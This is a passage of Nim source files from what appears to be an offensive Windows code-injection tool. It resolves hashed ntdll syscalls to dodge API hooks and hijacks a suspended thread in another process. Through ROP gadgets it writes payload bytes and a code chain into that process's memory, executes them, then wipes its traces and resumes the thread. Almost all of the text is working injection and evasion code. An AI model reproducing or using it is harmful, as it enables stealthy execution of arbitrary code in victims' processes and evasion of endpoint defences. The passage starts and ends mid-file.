Arg["Section"].getStr() 82 | ArgVal = ResolveCodeCaveAddress(ProcessHandle, ModuleLabel, SectionLabel, Functions) 83 | 84 | of "CodeCaveRVA": 85 | let 86 | ModuleLabel : string = Arg["Value"].getStr() 87 | SectionLabel: string = Arg["Section"].getStr() 88 | ArgVal = ResolveCodeCaveRVA(ModuleLabel, SectionLabel) 89 | 90 | of "DONTCARE": 91 | let 92 | NumSkips : int = Arg["Value"].getInt() 93 | ArgMem.CurrentAddress = ArgMem.CurrentAddress +% (int.sizeof * NumSkips) 94 | return 95 | 96 | of "Function": 97 | var 98 | FunctionModule : string = Arg["Module"].getStr() 99 | FunctionLabel : string = Arg["Value"].getStr() 100 | ArgVal = ResolveFunction(ProcessHandle, FunctionModule, FunctionLabel, Functions) 101 | 102 | of "FunctionRVA": 103 | let 104 | FunctionModule : string = Arg["Module"].getStr() 105 | FunctionLabel : string = Arg["Value"].getStr() 106 | ArgVal = ResolveFunctionRVA(FunctionModule, FunctionLabel) 107 | 108 | of "Gadget": 109 | let 110 | GadgetLabel : string = Arg["Value"].getStr() 111 | Gadget : Gadget = Gadgets.GetGadgetByName(GadgetLabel) 112 | GadgetOffset : int = 113 | if Arg.getOrDefault("GadgetOffset").isNil: 0 114 | else: Arg["GadgetOffset"].getInt() 115 | ArgVal = Gadget.Address +% GadgetOffset 116 | 117 | of "Int": 118 | let 119 | Value : int = Arg["Value"].getInt() 120 | ArgVal = Value 121 | 122 | of "Memory": 123 | let 124 | MemoryLabel : string = Arg["Value"].getStr() 125 | MemoryOffset : int = Arg["MemoryOffset"].getInt() 126 | var 127 | BaseAddress : int = Memorys.getMemoryBaseAddress(MemoryLabel) 128 | ArgVal = BaseAddress +% MemoryOffset 129 | 130 | of "Module": 131 | let 132 | ModuleLabel : string = Arg["Value"].getStr() 133 | ArgVal = ResolveModuleBaseAddress(ProcessHandle, ModuleLabel, Functions) 134 | 135 | of "ModuleSize": 136 | let 137 | ModuleLabel : string = Arg["Value"].getStr() 138 | ArgVal = ResolveModuleSize(ModuleLabel) 139 | 140 | of "Payload": 141 | let 142 | PayloadLabel : string = Arg["Value"].getStr() 143 | Payload : Payload = GetPayload(Payloads, PayloadLabel) 144 | ArgVal = Payload.StoreLocation.BaseAddress +% Payload.StoreOffset 145 | 146 | of "PayloadSize": 147 | let 148 | PayloadLabel : string = Arg["Value"].getStr() 149 | Payload : Payload = Payloads.GetPayload(PayloadLabel) 150 | ArgVal = Payload.Size 151 | 152 | of "SHADOWSPACE": 153 | AddShadowSpace(ArgMem.WriteSequence, ArgMem.CurrentAddress) 154 | return 155 | 156 | else: 157 | raise newException(KeyError, "[-] Invalid Type Key..") 158 | 159 | let 160 | NewMemWrite : MemoryWrite = MemoryWrite(WriteWhat: ArgVal, WriteWhere: ArgMem.CurrentAddress) 161 | ArgMem.WriteSequence.add(NewMemWrite) 162 | ArgMem.CurrentAddress = ArgMem.CurrentAddress +% (int.sizeof * ArgPad) 163 | 164 | proc LoadGadget*(ProcessHandle: HANDLE, Gadgets: var seq[Gadget], Node: JsonNode, Functions: array[18, HGEntry]) {.raises: [KeyError, ValueError, OSError].} = 165 | let 166 | Pattern : seq[byte] = Node["BytePattern"].getSeqByte() 167 | GadgetModule : string = Node["GadgetModule"].getStr() 168 | Name : string = Node["Name"].getStr() 169 | Type : GadgetType = Node["GadgetType"].getGadgetType() 170 | Volatile : bool = Node["Volatile"].getBool(true) 171 | GadgetOff : int = 172 | if Node.getOrDefault("ModuleOffset").isNil: 0 173 | else: Node["ModuleOffset"].getInt() 174 | 175 | if Type == GadgetType.MainStore: 176 | let 177 | DestinationReg : Register = Node["DestinationRegister"].getRegister() 178 | SourceReg : Register = Node["SourceRegister"].getRegister() 179 | if GadgetOff != 0: 180 | var 181 | ModuleBaseAddress : int = ResolveModuleBaseAddress(ProcessHandle, GadgetModule, Functions) 182 | let 183 | Address : int = ModuleBaseAddress +% GadgetOff 184 | NewGadget : Gadget = newGadget(Pattern, Type, GadgetModule, Name, Volatile, SourceReg, DestinationReg, Address) 185 | Gadgets.add(NewGadget) 186 | else: 187 | let 188 | NewGadget : Gadget = newGadget(Pattern, Type, GadgetModule, Name, Volatile, SourceReg, DestinationReg) 189 | Gadgets.add(NewGadget) 190 | else: 191 | let 192 | DestinationReg : Register = 193 | if Node.getOrDefault("DestinationRegister").isNil: Register.REL 194 | else: Node["DestinationRegister"].getRegister() 195 | SourceReg : Register = 196 | if Node.getOrDefault("SourceRegister").isNil: Register.REL 197 | else: Node["SourceRegister"].getRegister() 198 | if GadgetOff != 0: 199 | var 200 | ModuleBaseAddress : int = ResolveModuleBaseAddress(ProcessHandle, GadgetModule, Functions) 201 | let 202 | Address : int = ModuleBaseAddress +% GadgetOff 203 | NewGadget : Gadget = newGadget(Pattern, Type, GadgetModule, Name, Volatile, SourceReg, DestinationReg, Address) 204 | Gadgets.add(NewGadget) 205 | else: 206 | let 207 | NewGadget : Gadget = newGadget(Pattern, Type, GadgetModule, Name, Volatile, SourceReg, DestinationReg) 208 | Gadgets.add(NewGadget) 209 | 210 | func LoadMemory*(Memorys: var seq[RWMemory], Node : JsonNode) {.raises: [KeyError].} = 211 | let 212 | Label : string = Node["Label"].getStr() 213 | BaseAddress : int = Node["BaseAddress"].getInt() 214 | Size : int = Node["Size"].getInt() 215 | Padding : int = Node["Padding"].getInt() 216 | MemSeq : seq[MemoryWrite] = newSeq[MemoryWrite]() 217 | NewMemory : RWMemory = newRWMemory(Label, MemSeq, BaseAddress, BaseAddress, Size, Padding) 218 | Memorys.add(NewMemory) 219 | 220 | proc LoadPayload*(Payloads: var seq[Payload], Memorys: seq[RWMemory], Node: JsonNode) {.raises: [KeyError, ValueError].} = 221 | var 222 | Bytes : seq[byte] = Node["Bytes"].getSeqByte() 223 | let 224 | Label : string = Node["Label"].getStr() 225 | Location : string = Node["StoreLocation"].getStr() 226 | StoreOffset : int = Node["StoreOffset"].getInt() 227 | StoreLoc : RWMemory = getRWMemory(Memorys, Location) 228 | NewPayload : Payload = newPayload(Label, Bytes, StoreLoc, StoreOffset) 229 | Payloads.add(NewPayload) 230 | 231 | proc LoadStartContext*(StartCtx: PCONTEXT, TargetRip: var DWORD64, Gadgets: seq[Gadget], Memorys: seq[RWMemory], Nodes: JsonNode) {.raises: [KeyError, ValueError].} = 232 | for Node in Nodes.keys(): 233 | let 234 | ArgVal : int = ParseCtxArg(Nodes[Node], Gadgets, Memorys) 235 | if Node == "Target": 236 | TargetRip = ArgVal 237 | else: 238 | setContext(Node, ArgVal, StartCtx) 239 | 240 | proc InitializeClientID*(ProcessHandle, ThreadHandle: int16, Clid: PCLIENT_ID, WindowObj: ptr WindowObject, Functions: array[18, HGEntry]): bool = 241 | if not getClientID(ProcessHandle, ThreadHandle, Clid, Functions): 242 | result = false 243 | return 244 | 245 | WindowObj.ThreadID = Clid.UniqueThread.int32 246 | if not GetWindowHandle(WindowObj): 247 | result = false 248 | else: 249 | result = true 250 | 251 | proc InitializeHandles*(ProcessHandle, ThreadHandle: PHANDLE, Clid: PCLIENT_ID, Functions: array[18, HGEntry]): bool = 252 | 253 | result = true 254 | 255 | if not GetProcessHandle(ProcessHandle, Clid, Functions): 256 | result = false 257 | return 258 | 259 | if not GetThreadHandle(ThreadHandle, Clid, Functions): 260 | result = false 261 | return 262 | 263 | proc InitializeContexts*(ThreadHandle: HANDLE, SaveCtx, ExeCtx, StartCtx: PCONTEXT, Functions: array[18, HGEntry]): bool = 264 | 265 | result = true 266 | 267 | if not SuspendThread(ThreadHandle, Functions): 268 | result = false 269 | return 270 | 271 | if not GetContext(ThreadHandle, SaveCtx, Functions): 272 | result = false 273 | return 274 | 275 | if not ResumeThread(ThreadHandle, Functions): 276 | result = false 277 | return 278 | 279 | ExeCtx[].deepCopy(SaveCtx[]) 280 | StartCtx[].deepCopy(SaveCtx[]) 281 | 282 | func InitializeWriteGadget*(WriteGadget: Gadget, ExeCtx: PCONTEXT) = 283 | var 284 | ContextTable : Table[Register, ptr int] = { 285 | Register.RIP : cast[ptr int](ExeCtx.Rip.unsafeAddr()), 286 | Register.RSP : cast[ptr int](ExeCtx.Rsp.unsafeAddr()), 287 | Register.RBP : cast[ptr int](ExeCtx.Rbp.unsafeAddr()), 288 | Register.RAX : cast[ptr int](ExeCtx.Rax.unsafeAddr()), 289 | Register.RBX : cast[ptr int](ExeCtx.Rbx.unsafeAddr()), 290 | Register.RCX : cast[ptr int](ExeCtx.Rcx.unsafeAddr()), 291 | Register.RDX : cast[ptr int](ExeCtx.Rdx.unsafeAddr()), 292 | Register.R8 : cast[ptr int](ExeCtx.R8.unsafeAddr()), 293 | Register.R9 : cast[ptr int](ExeCtx.R9.unsafeAddr()), 294 | Register.R10 : cast[ptr int](ExeCtx.R10.unsafeAddr()), 295 | Register.R11 : cast[ptr int](ExeCtx.R11.unsafeAddr()), 296 | Register.R12 : cast[ptr int](ExeCtx.R12.unsafeAddr()), 297 | Register.R13 : cast[ptr int](ExeCtx.R13.unsafeAddr()), 298 | Register.R14 : cast[ptr int](ExeCtx.R14.unsafeAddr()), 299 | Register.R15 : cast[ptr int](ExeCtx.R15.unsafeAddr()), 300 | Register.RDI : cast[ptr int](ExeCtx.Rdi.unsafeAddr()), 301 | Register.RSI : cast[ptr int](ExeCtx.Rsi.unsafeAddr()) 302 | }.toTable 303 | WriteGadget.DestinationAddress = ContextTable[WriteGadget.DestinationRegister] 304 | WriteGadget.SourceAddress = ContextTable[WriteGadget.SourceRegister] 305 | 306 | proc InitializeStack*(ProcessHandle, ThreadHandle: HANDLE, ExeCtx: PCONTEXT, Memorys: var seq[RWMemory], Functions: array[18, HGEntry]) : bool = 307 | var 308 | BaseAddress : PVOID 309 | Size, CurrentAddress : int 310 | 311 | result = true 312 | if not EnumThreadStack(ProcessHandle, ThreadHandle, BaseAddress, Functions): 313 | result = false 314 | return 315 | if ExeCtx.Rsp == 0: 316 | result = false 317 | return 318 | 319 | Size = ExeCtx.Rsp.int -% cast[int](BaseAddress) 320 | CurrentAddress = cast[int](BaseAddress) + int.sizeof 321 | 322 | let 323 | MemSeq : seq[MemoryWrite] = newSeq[MemoryWrite]() 324 | NewMemory : RWMemory = newRWMemory("Stack", MemSeq, cast[int](BaseAddress), CurrentAddress, Size, 1) 325 | Memorys.add(NewMemory) 326 | 327 | func InitializePayloads*(Payloads: seq[Payload]) = 328 | for Payload in Payloads: 329 | let 330 | MemorySection : RWMemory = Payload.StoreLocation 331 | MemoryOffset : int = Payload.StoreOffset 332 | ByteSequence : seq[byte] = Payload.Bytes 333 | 334 | BaseAddress : int = MemorySection.BaseAddress 335 | Padding : int = MemorySection.Padding 336 | var 337 | WriteSeq : seq[MemoryWrite] = MemorySection.WriteSequence 338 | WriteAddress : int = BaseAddress +% MemoryOffset 339 | 340 | for Byte8 in ByteSequence.subPayload(): 341 | let 342 | MemWrite : MemoryWrite = MemoryWrite(WriteWhere: WriteAddress, WriteWhat: Byte8) 343 | WriteSeq.add(MemWrite) 344 | WriteAddress = WriteAddress +% (int.sizeof * Padding) 345 | 346 | proc SetThreadLock(ThreadHandle: HANDLE, ExeCtx: PCONTEXT, WinHandle: HWND, Functions: array[18, HGEntry]): bool = 347 | var 348 | tmpContext : CONTEXT = CONTEXT(ContextFlags: CONTEXT_ALL) 349 | 350 | result = true 351 | 352 | if not GetContext(ThreadHandle, &tmpContext, Functions): 353 | result = false 354 | return 355 | 356 | if not SetContext(ThreadHandle, ExeCtx, Functions): 357 | result = false 358 | return 359 | 360 | if not winimConverterBOOLToBoolean(PostMessage(WinHandle, WM_COMMAND, 0, 0)): 361 | result = false 362 | return 363 | 364 | while tmpContext.Rip != ExeCtx.Rip: 365 | 366 | if not ResumeThread(ThreadHandle, Functions): 367 | result = false 368 | return 369 | 370 | Sleep(0) 371 | 372 | if not SuspendThread(ThreadHandle, Functions): 373 | result = false 374 | return 375 | 376 | if not GetContext(ThreadHandle, &tmpContext, Functions): 377 | result = false 378 | return 379 | 380 | if not GetContext(ThreadHandle, ExeCtx, Functions): 381 | result = false 382 | return 383 | 384 | proc WaitThreadLock(ThreadHandle: HANDLE, TargetRip: DWORD64, ExeCtx: PCONTEXT, Functions: array[18, HGEntry]): bool = 385 | var 386 | tmpContext : CONTEXT = CONTEXT(ContextFlags: CONTEXT_ALL) 387 | 388 | result = true 389 | 390 | if not SetContext(ThreadHandle, ExeCtx, Functions): 391 | result = false 392 | return 393 | 394 | if not GetContext(ThreadHandle, &tmpContext, Functions): 395 | result = false 396 | return 397 | 398 | while tmpContext.Rip != TargetRip: 399 | 400 | if not ResumeThread(ThreadHandle, Functions): 401 | result = false 402 | return 403 | 404 | Sleep(0) 405 | 406 | if not SuspendThread(ThreadHandle, Functions): 407 | result = false 408 | return 409 | 410 | if not GetContext(ThreadHandle, &tmpContext, Functions): 411 | result = false 412 | return 413 | 414 | if not GetContext(ThreadHandle, ExeCtx, Functions): 415 | result = false 416 | return 417 | 418 | proc WriteThread(ThreadHandle: HANDLE, Gadgets: seq[Gadget], Memorys: seq[RWMemory], ExeCtx: PCONTEXT, Writewhat, Writewhere: int, Functions: array[18, HGEntry]): bool = 419 | let 420 | WriteGadget : Gadget = Gadgets.GetMainStore 421 | WriteAddress : int = WriteGadget.Address 422 | StackBase : int = Memorys.getMemoryBaseAddress("Stack") 423 | TargetRIP : DWORD64 = Gadgets.GetSink.Address.DWORD64 424 | 425 | ExeCtx.Rip = WriteAddress.DWORD64 426 | ExeCtx.Rsp = StackBase.DWORD64 427 | WriteGadget.DestinationAddress[] = Writewhere 428 | WriteGadget.SourceAddress[] = Writewhat 429 | 430 | when not defined(zima): 431 | yellow(fmt"[i] Writing {Writewhat.toHex} to {Writewhere.toHex}") 432 | 433 | if not WaitThreadLock(ThreadHandle, TargetRIP, ExeCtx, Functions): 434 | result = false 435 | else: 436 | result = true 437 | 438 | proc SinkThread*(ThreadHandle: HANDLE, ExeCtx: PCONTEXT, SinkAddr: DWORD64, WindowObj: WindowObject, Functions: array[18, HGEntry]): bool = 439 | ExeCtx.Rip = SinkAddr 440 | if not SetThreadLock(ThreadHandle, ExeCtx, WindowObj.WindowHandle, Functions): 441 | when not defined(zima): 442 | red("[!] Failed to Sink Thread") 443 | result = false 444 | else: 445 | when not defined(zima): 446 | green("[+] Successfully Sunk Thread") 447 | result = true 448 | 449 | proc WriteMemory*(ThreadHandle: HANDLE, Gadgets: seq[Gadget], Memorys: seq[RWMemory], Payloads: seq[Payload], ExeCtx: PCONTEXT, Functions: array[18, HGEntry]): bool = 450 | 451 | result = true 452 | when not defined(zima): 453 | yellow(fmt"[i] Writing Payloads...") 454 | for Payload in Payloads: 455 | let 456 | ByteSeq : seq[byte] = Payload.Bytes 457 | var 458 | StoreLocAddr : int = Payload.StoreLocation.BaseAddress +% Payload.StoreOffset 459 | for Bytes in ByteSeq.subPayload(): 460 | if not WriteThread(ThreadHandle, Gadgets, Memorys, ExeCtx, Bytes, StoreLocAddr, Functions): 461 | result = false 462 | return 463 | StoreLocAddr = StoreLocAddr +% int.sizeof 464 | 465 | when not defined(zima): 466 | yellow(fmt"[i] Writing Code Chain...") 467 | for WriteSequence in Memorys.WriteSeqs: 468 | for MemWrite in WriteSequence: 469 | if not WriteThread(ThreadHandle, Gadgets, Memorys, ExeCtx, MemWrite.WriteWhat, MemWrite.WriteWhere, Functions): 470 | result = false 471 | return 472 | 473 | proc WriteSink*(ThreadHandle: HANDLE, Gadgets: seq[Gadget], Memorys: seq[RWMemory], ExeCtx: PCONTEXT, Functions: array[18, HGEntry]): bool = 474 | let 475 | SinkAddress : int = Gadgets.GetSink.Address 476 | StackBase : int = Memorys.getMemoryBaseAddress("Stack") 477 | when not defined(zima): 478 | yellow(fmt"[i] Writing Sink to Stack Base") 479 | if not WriteThread(ThreadHandle, Gadgets, Memorys, ExeCtx, SinkAddress, StackBase, Functions): 480 | result = false 481 | else: 482 | result = true 483 | 484 | proc CleanMemory*(ThreadHandle: HANDLE, Gadgets: seq[Gadget], Memorys: seq[RWMemory], Payloads: seq[Payload], ExeCtx: PCONTEXT, Functions: array[18, HGEntry]): bool = 485 | # Note: Doesn't remove the sink gadget from the Stack Base. As well as DONTCARE's that were overwritten later in the Chain 486 | result = true 487 | when not defined(zima): 488 | yellow(fmt"[i] Cleaning Memory...") 489 | let 490 | StackBase = Memorys.getRWMemory("Stack").BaseAddress 491 | for Payload in Payloads: 492 | let 493 | ByteSeq : seq[byte] = Payload.Bytes 494 | var 495 | StoreLocAddr : int = Payload.StoreLocation.BaseAddress +% Payload.StoreOffset 496 | for Bytes in ByteSeq.subPayload(): 497 | if not WriteThread(ThreadHandle, Gadgets, Memorys, ExeCtx, 0, StoreLocAddr, Functions): 498 | result = false 499 | return 500 | StoreLocAddr = StoreLocAddr +% int.sizeof 501 | for WriteSequence in Memorys.WriteSeqs: 502 | for MemWrite in WriteSequence: 503 | 504 | if MemWrite.WriteWhere == StackBase: 505 | continue 506 | 507 | if not WriteThread(ThreadHandle, Gadgets, Memorys, ExeCtx, 0, MemWrite.WriteWhere, Functions): 508 | result = false 509 | return 510 | 511 | proc ResumeExecution*(ThreadHandle: HANDLE, SaveCtx: PCONTEXT, Functions: array[18, HGEntry]): bool = 512 | result = true 513 | if not SetContext(ThreadHandle, SaveCtx, Functions): 514 | result = false 515 | return 516 | if not ResumeThread(ThreadHandle, Functions): 517 | result = false 518 | return 519 | 520 | proc ExecuteCodeChain*(ThreadHandle: HANDLE, TargetRip: DWORD64, StartCtx: PCONTEXT, Functions: array[18, HGEntry]): bool = 521 | 522 | when not defined(zima): 523 | yellow(fmt"[i] Executing Code Chain...") 524 | if not WaitThreadLock(ThreadHandle, TargetRip, StartCtx, Functions): 525 | result = false 526 | else: 527 | result = true 528 | 529 | proc Exit*(ProcessHandle, ThreadHandle: HANDLE, SaveCtx: PCONTEXT, Functions: array[18, HGEntry]) = 530 | discard ResumeExecution(ThreadHandle, SaveCtx, Functions) 531 | CloseHandle(ThreadHandle) 532 | CloseHandle(ProcessHandle) 533 | -------------------------------------------------------------------------------- /Modules/hg.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | import typedefs, pe, utility 7 | 8 | proc newHGEntry*(FunctionCall: uint64): HGEntry = 9 | result = HGEntry(Hash : FunctionCall) 10 | 11 | func isFilled*(t: array[18, HGEntry]): bool = 12 | result = true 13 | for entry in t: 14 | if not entry.Filled: 15 | result = false 16 | return 17 | 18 | proc resolveEntry*(HGArray : var array[18, HGEntry], ImageBase: HMODULE) = 19 | let 20 | ExportTable : PIMAGE_EXPORT_DIRECTORY = ImageBase.GetExportTable 21 | if ExportTable.isNil: 22 | return 23 | for CurrentEntry in HGArray.mitems(): 24 | GetTableEntry(CurrentEntry, ImageBase, ExportTable) 25 | 26 | proc InitializeHGTable*(HGArray : var array[18, HGEntry]): bool = 27 | var 28 | LocalModuleBaseAddress : HMODULE 29 | LoadLibraryUsed : bool 30 | HGModules : array[2, string] = ["ntdll.dll", "KERNEL32.DLL"] 31 | result = true 32 | for ModuleLabel in HGModules: 33 | 34 | LoadLibraryUsed = false 35 | LocalModuleBaseAddress = LoadLocalModule(ModuleLabel, LoadLibraryUsed) 36 | 37 | if LocalModuleBaseAddress == 0: 38 | result = false 39 | return 40 | if not HGArray.isFilled: 41 | HGArray.resolveEntry(LocalModuleBaseAddress) 42 | if LoadLibraryUsed: 43 | FreeLibrary(LocalModuleBaseAddress) 44 | 45 | proc newHGArray*(): array[18, HGEntry] = 46 | const 47 | Hashes : array[18, uint64] = [ 48 | ~"NtOpenProcess", ~"NtWaitForSingleObject", ~"NtSuspendThread", ~"NtGetContextThread", ~"NtSetContextThread", 49 | ~"NtQuerySystemInformation", ~"NtQueryInformationProcess", ~"NtAllocateVirtualMemory", ~"NtFreeVirtualMemory", 50 | ~"NtOpenThread", ~"NtResumeThread", ~"NtReadVirtualMemory", ~"NtSuspendProcess", ~"NtResumeProcess", ~"NtUserGetThreadState", 51 | ~"NtUserPostMessage", ~"NtQueryVirtualMemory", ~"NtQueryInformationThread" 52 | ] 53 | var 54 | Syscalls : array[18, HGEntry] 55 | for i in 0 ..< Hashes.len: 56 | var 57 | Entry : HGEntry = newHGEntry(Hashes[i]) 58 | Syscalls[i] = Entry 59 | result = Syscalls 60 | -------------------------------------------------------------------------------- /Modules/memory.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | import typedefs 7 | 8 | iterator WriteSeqs*(MemoryObjs: seq[RWMemory]): var seq[MemoryWrite] = 9 | for MemoryObj in MemoryObjs: 10 | yield MemoryObj.WriteSequence 11 | 12 | func getRWMemory*(MemorySequence: seq[RWMemory], MemoryLabel: string): RWMemory = 13 | result = nil 14 | for MemorySection in MemorySequence: 15 | if MemorySection.Label == MemoryLabel: 16 | result = MemorySection 17 | return 18 | 19 | func getMemoryBaseAddress*(MemorySequence: seq[RWMemory], MemoryLabel: string): int = 20 | result = 0 21 | for Memory in MemorySequence: 22 | if Memory.Label == MemoryLabel: 23 | result = Memory.BaseAddress 24 | return 25 | 26 | func newRWMemory*(Label: string, WriteSequence: seq[MemoryWrite], BaseAddress, CurrentAddress, Size, Padding: int = 0): RWMemory = 27 | result = RWMemory( 28 | Label : Label, 29 | WriteSequence : WriteSequence, 30 | BaseAddress : BaseAddress, 31 | CurrentAddress : CurrentAddress, 32 | Size : Size, 33 | Padding : Padding 34 | ) -------------------------------------------------------------------------------- /Modules/pe.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | import typedefs, strutils, bytesequtils, winapi 7 | from utility import djb2_hash, ToModule, GetPEBAsm64, ToBuffer, removeNullChars 8 | 9 | iterator sections*(NtHeader: PIMAGE_NT_HEADERS): IMAGE_SECTION_HEADER = 10 | let 11 | sections : ptr UncheckedArray[IMAGE_SECTION_HEADER] = cast[ptr UncheckedArray[IMAGE_SECTION_HEADER]](IMAGE_FIRST_SECTION(NtHeader)) 12 | for i in 0 ..< int NtHeader.FileHeader.NumberOfSections: 13 | yield sections[i] 14 | 15 | iterator functionAddresses*(ImageBase: HMODULE, ExportDirectory: PIMAGE_EXPORT_DIRECTORY): (string, int) = 16 | let 17 | Functions : ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](ImageBase +% ExportDirectory.AddressOfFunctions) 18 | Names : ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](ImageBase +% ExportDirectory.AddressOfNames) 19 | Ordinals : ptr UncheckedArray[WORD] = cast[ptr UncheckedArray[WORD]](ImageBase +% ExportDirectory.AddressOfNameOrdinals) 20 | for Index in 0 ..< ExportDirectory.NumberOfNames: 21 | var 22 | Name : string = $(cast[PCHAR](ImageBase +% Names[Index].int)) 23 | Ordinal : int = Ordinals[Index].int 24 | FunctionRVA : int = Functions[Ordinal].int 25 | FunctionAddress : int = ImageBase +% FunctionRVA 26 | yield (Name, FunctionAddress) 27 | 28 | iterator functionRVAs*(ImageBase: HMODULE, ExportDirectory: PIMAGE_EXPORT_DIRECTORY): (string, int) = 29 | let 30 | Functions : ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](ImageBase +% ExportDirectory.AddressOfFunctions) 31 | Names : ptr UncheckedArray[DWORD] = cast[ptr UncheckedArray[DWORD]](ImageBase +% ExportDirectory.AddressOfNames) 32 | Ordinals : ptr UncheckedArray[WORD] = cast[ptr UncheckedArray[WORD]](ImageBase +% ExportDirectory.AddressOfNameOrdinals) 33 | for Index in 0 ..< ExportDirectory.NumberOfNames: 34 | var 35 | Name : string = $(cast[PCHAR](ImageBase +% Names[Index].int)) 36 | Ordinal : int = Ordinals[Index].int 37 | FunctionRVA : int = Functions[Ordinal].int 38 | yield (Name, FunctionRVA) 39 | 40 | func ImageNtHeader*(ImageBase: HMODULE or PVOID): PIMAGE_NT_HEADERS = 41 | let 42 | DosHeader : PIMAGE_DOS_HEADER = cast[PIMAGE_DOS_HEADER](ImageBase) 43 | NtHeader : PIMAGE_NT_HEADERS = cast[PIMAGE_NT_HEADERS](cast[int](DosHeader) +% DosHeader.e_lfanew) 44 | if DosHeader.e_magic != IMAGE_DOS_SIGNATURE or NtHeader.Signature != IMAGE_NT_SIGNATURE.DWORD: 45 | result = nil 46 | else: 47 | result = NtHeader 48 | 49 | iterator modules*(Peb: PPEB): PLDR_DATA_TABLE_ENTRY = 50 | var 51 | CurrentFlink : LIST_ENTRY = Peb.Ldr.InMemoryOrderModuleList.Flink[] 52 | CurrentModule : PLDR_DATA_TABLE_ENTRY = CurrentFlink.ToModule 53 | let 54 | FirstModule : PLDR_DATA_TABLE_ENTRY = CurrentModule 55 | while true: 56 | yield CurrentModule 57 | 58 | CurrentFlink = CurrentFlink.Flink[] 59 | CurrentModule = CurrentFlink.ToModule 60 | if FirstModule == CurrentModule: 61 | break 62 | 63 | func GetLocalModule*(ModuleName: string): HMODULE = 64 | let 65 | Peb : PPEB = GetPEBAsm64() 66 | result = 0 67 | for Module in Peb.modules: 68 | if Module.ToBuffer.contains(ModuleName): 69 | result = cast[HMODULE](Module.DLLBase) 70 | 71 | func GetExportTable*(ImageBase: HMODULE): PIMAGE_EXPORT_DIRECTORY = 72 | let 73 | NtHeader : PIMAGE_NT_HEADERS = ImageBase.ImageNtHeader 74 | if NtHeader.isNil: 75 | result = nil 76 | else: 77 | result = cast[PIMAGE_EXPORT_DIRECTORY](ImageBase +% NtHeader.OptionalHeader.DataDirectory[0].VirtualAddress) 78 | 79 | func GetBaseOfCode*(ImageBase: HMODULE): int = 80 | let 81 | NtHeader : PIMAGE_NT_HEADERS = ImageBase.ImageNtHeader 82 | if NtHeader.isNil: 83 | result = 0 84 | else: 85 | result = ImageBase +% NtHeader.OptionalHeader.BaseOfCode 86 | 87 | func GetSizeOfImage*(ImageBase: HMODULE): int = 88 | let 89 | NtHeader : PIMAGE_NT_HEADERS = ImageBase.ImageNtHeader 90 | if NtHeader.isNil: 91 | result = 0 92 | else: 93 | result = NtHeader.OptionalHeader.SizeOfImage 94 | 95 | proc GetCodeCaveRVA*(ImageBase: HMODULE, SectionLabel: string): int = 96 | let 97 | NtHeader : PIMAGE_NT_HEADERS = ImageBase.ImageNtHeader 98 | result = 0 99 | for Section in NtHeader.sections: 100 | let 101 | SectionNameArray : array[8, byte] = Section.Name 102 | var 103 | SectionNameSeq : seq[byte] = @SectionNameArray 104 | SectionName : string = SectionNameSeq.toStrBuf() 105 | SectionName.removeNullChars() 106 | if SectionName == SectionLabel: 107 | result = Section.Misc.VirtualSize +% NtHeader.OptionalHeader.BaseOfCode 108 | return 109 | 110 | proc GetTableEntry*(Entry: var HGEntry, ImageBase: HMODULE, PExportDir: PIMAGE_EXPORT_DIRECTORY) = 111 | for (FunctionName, FunctionAddress) in ImageBase.functionAddresses(PExportDir): 112 | let 113 | FunctionHash : uint64 = FunctionName.djb2_hash 114 | if Entry.Hash == FunctionHash: 115 | Entry.Address = FunctionAddress 116 | if cast[PBYTE](FunctionAddress +% 3)[] == 0xB8: 117 | Entry.Syscall = cast[PWORD](FunctionAddress +% 4)[] 118 | Entry.Filled = true 119 | else: 120 | #TODO 121 | discard 122 | return 123 | 124 | func GetFuncRVA*(HModule: HMODULE, FuncName: string): int = 125 | let 126 | PExportTable : PIMAGE_EXPORT_DIRECTORY = HModule.GetExportTable 127 | result = 0 128 | if not PExportTable.isNil: 129 | for (Name, FuncRVA) in HModule.functionRVAs(PExportTable): 130 | if Name == FuncName: 131 | result = FuncRVA 132 | return 133 | 134 | func GetFuncAddress*(HModule: HMODULE, FuncName: string): int = 135 | let 136 | PExportTable : PIMAGE_EXPORT_DIRECTORY = HModule.GetExportTable 137 | result = 0 138 | if not PExportTable.isNil: 139 | for (Name, FuncAddr) in HModule.functionAddresses(PExportTable): 140 | if Name == FuncName: 141 | result = FuncAddr 142 | return 143 | 144 | proc LoadLocalModule*(ModuleLabel: string, LoadLibraryUsed: var bool): HMODULE = 145 | var 146 | LocalModuleBaseAddress: HMODULE 147 | LocalModuleBaseAddress = ModuleLabel.GetLocalModule 148 | if LocalModuleBaseAddress != 0: 149 | result = LocalModuleBaseAddress 150 | else: 151 | LoadLibraryUsed = true 152 | result = LoadLibrary(+$ModuleLabel) 153 | 154 | proc ResolveModuleSize*(ModuleLabel: string): int {.raises: [OSError].} = 155 | var 156 | HMod : HMODULE 157 | LoadLibraryUsed : bool 158 | HMod = LoadLocalModule(ModuleLabel, LoadLibraryUsed) 159 | if HMod == 0: 160 | raise newException(OSError, "Module couldn't be loaded in local process") 161 | result = HMod.GetSizeOfImage 162 | if LoadLibraryUsed: FreeLibrary(HMod) 163 | 164 | proc ResolveFunctionRVA*(ModuleLabel, FuncName: string): int {.raises: [OSError].} = 165 | var 166 | LocalModuleBaseAddress : HMODULE 167 | LoadLibraryUsed : bool 168 | LocalModuleBaseAddress = LoadLocalModule(ModuleLabel, LoadLibraryUsed) 169 | if LocalModuleBaseAddress == 0: 170 | raise newException(OSError, "Module couldn't be loaded in local process") 171 | result = GetFuncRVA(LocalModuleBaseAddress, FuncName) 172 | if LoadLibraryUsed: FreeLibrary(LocalModuleBaseAddress) 173 | 174 | proc ResolveCodeCaveRVA*(ModuleLabel, SectionLabel: string): int {.raises: [OSError].} = 175 | var 176 | LocalModuleBaseAddress : HMODULE 177 | LoadLibraryUsed : bool 178 | LocalModuleBaseAddress = LoadLocalModule(ModuleLabel, LoadLibraryUsed) 179 | if 